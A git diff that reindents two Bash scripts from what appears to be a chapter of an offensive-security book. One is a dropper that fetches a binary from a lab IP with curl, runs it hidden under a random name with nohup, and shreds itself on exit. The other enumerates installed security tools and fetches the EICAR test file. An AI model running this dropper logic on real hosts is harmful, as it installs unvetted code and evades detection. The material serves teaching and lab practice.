diff --git a/ch12/binary_name_rotation.sh b/ch12/binary_name_rotation.sh
index f401443..43906c9 100644
--- a/ch12/binary_name_rotation.sh
+++ b/ch12/binary_name_rotation.sh
@@ -6,16 +6,16 @@ BIN_FILE="${RANDOM_BIN_NAMES[${RANDOMIZE}]}"
 FULL_BIN_PATH="${WORK_DIR}/${BIN_FILE}"
 
 self_remove(){
-    shred -u -- "$(basename $0)" && rm -- "${FULL_BIN_PATH}"
+  shred -u -- "$(basename $0)" && rm -- "${FULL_BIN_PATH}"
 }
 
 if command -v curl 1> /dev/null; then
-    curl -s "http://172.16.10.1/system_sleep" -o "${FULL_BIN_PATH}"
-    if [[ -s "${FULL_BIN_PATH}" ]]; then
-      chmod +x "${FULL_BIN_PATH}"
-      export PATH="${WORK_DIR}:${PATH}"
-      nohup "${BIN_FILE}" &> /dev/null &
-    fi
+  curl -s "http://172.16.10.1/system_sleep" -o "${FULL_BIN_PATH}"
+  if [[ -s "${FULL_BIN_PATH}" ]]; then
+    chmod +x "${FULL_BIN_PATH}"
+    export PATH="${WORK_DIR}:${PATH}"
+    nohup "${BIN_FILE}" &> /dev/null &
+  fi
 fi
 
 trap self_remove EXIT
diff --git a/ch12/exercise_solution.sh b/ch12/exercise_solution.sh
index b694497..df3cabd 100644
--- a/ch12/exercise_solution.sh
+++ b/ch12/exercise_solution.sh
@@ -2,64 +2,66 @@
 REPORT_NAME="security_tool_scanner-$(date +%d-%m-%y).txt"
 
 check(){
-    local tool
-    local check_type
-    local indicator
-    local result
+  local tool
+  local check_type
+  local indicator
+  local result
 
-    tool="${1}"
-    check_type="${2}"
-    indicator="${3}"
-    result="false"
+  tool="${1}"
+  check_type="${2}"
+  indicator="${3}"
+  result="false"
 
-    case "${check_type}" in
-        file|directory)
-            if check_file_or_directory "${indicator}"; then
-                result="true"
-            fi
-        ;;
-        process)
-            if check_process "${indicator}"; then
-                result="true"
-            fi
-        ;;
-    esac
+  case "${check_type}" in
+    file|directory)
+      if check_file_or_directory "${indicator}"; then
+        result="true"
+      fi
+    ;;
+    process)
+      if check_process "${indicator}"; then
+        result="true"
+      fi
+    ;;
+  esac
 
-    if [[ "${result}" == "true" ]]; then
-        generate_report "${tool}" "${check_type}" "${indicator}"
-    fi
+  if [[ "${result}" == "true" ]]; then
+    generate_report "${tool}" "${check_type}" "${indicator}"
+  fi
 }
 
 check_process(){
-    local process_name 
-    process_name="${1}"
+  local process_name 
+  process_name="${1}"
     
-    if pgrep "${process_name}"; then
-        return 0
-    fi
-    return 1
+  if pgrep "${process_name}"; then
+    return 0
+  fi
+
+  return 1
 }
 
 check_file_or_directory(){
-    local name
-    name="${1}"
+  local name
+  name="${1}"
     
-    if [[ -e "${name}" ]]; then
-        return 0
-    fi
-    return 1
+  if [[ -e "${name}" ]]; then
+    return 0
+  fi
+  
+  return 1
 }
 
 download_eicar_file(){
-    wget -q "https://secure.eicar.org/eicar.com.txt"
+  wget -q "https://secure.eicar.org/eicar.com.txt"
 }
 
 generate_report(){
-    if [[ ! -f "${REPORT_NAME}" ]]; then
-        echo "tool, check_type, indicator" > "${REPORT_NAME}"
-    fi
+  if [[ ! -f "${REPORT_NAME}" ]]; then
+    echo "tool, check_type, indicator" > "${REPORT_NAME}"
+  fi
     
-    echo "${1}, ${2}, ${3}" >> "${REPORT_NAME}"
+  echo "${1}, ${2}, ${3}" >> "${REPORT_NAME}"
 }
 
 
@@ -79,5 +81,5 @@ check fluentbit directory /etc/fluent-bit
 check rkhunter file /etc/rkhunter
 
 if [[ -f "${REPORT_NAME}" ]]; then
-    download_eicar_file
+  download_eicar_file
 fi
\ No newline at end of file